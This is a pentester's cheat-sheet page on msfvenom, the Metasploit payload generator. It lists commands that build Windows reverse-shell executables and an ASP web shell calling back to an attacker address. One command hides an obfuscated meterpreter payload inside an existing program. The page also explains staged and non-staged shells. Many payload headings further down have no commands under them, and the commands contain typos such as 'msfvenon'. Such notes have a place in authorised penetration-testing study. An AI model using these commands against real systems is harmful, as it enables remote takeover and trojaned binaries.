search

msfvenon

# List of patloads, formats and platforms
msfvenon --list payloads
msfvenon --list formats
msfvenon --list platform

# Non-Staged
msfvenom -p windows/shell_reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o shell_reverse_tcp.exe

# Staged – Must use meterpreter – netcat won’t work
msfvenom -p windows/shell/reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o staged_reverse_tcp.exe

# Inject payload into a binary
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o bad_binary.exe  

# Generate non-staged ASP Shell
msfvenon -p windows/shell_reverse_tcp LHOST=10.11.0.47 LPORT=9098 -f asp -o shell.asp

A non-staged shell is sent over in one block. You just send shell in one stage. This can be caught with metasploit multi-handler, but also with netcat.

Staged shells send them in turn. This can be useful for when you have very small buffer for your shellcode, so you need to divide up the payload. Meterpreter is a staged shell. First it sends some parts of it, and sets up the connection, and then it sends some more. This can be caught with metasploit multi-handler but not with netcat.

hashtag
Cheat Sheet

List payloads

hashtag
Binaries Payloads

Linux Meterpreter Reverse Shell

Linux Bind Meterpreter Shell

Linux Bind Shell

Windows Meterpreter Reverse TCP Shell

Windows Reverse TCP Shell

Windows Encoded Meterpreter Windows Reverse Shell

Mac Reverse Shell

Mac Bind Shell

hashtag
Web Payloads

PHP Meterpreter Reverse TCP

ASP Meterpreter Reverse TCP

JSP Java Meterpreter Reverse TCP

WAR

hashtag
Scripting Payloads

Python Reverse Shell

Bash Unix Reverse Shell

Perl Unix Reverse shell

hashtag
Shellcode

Windows Meterpreter Reverse TCP Shellcode

Linux Meterpreter Reverse TCP Shellcode

Mac Reverse TCP Shellcode

Create User

Metasploit Handler

PreviousSQLMapNextMimikatz

Last updated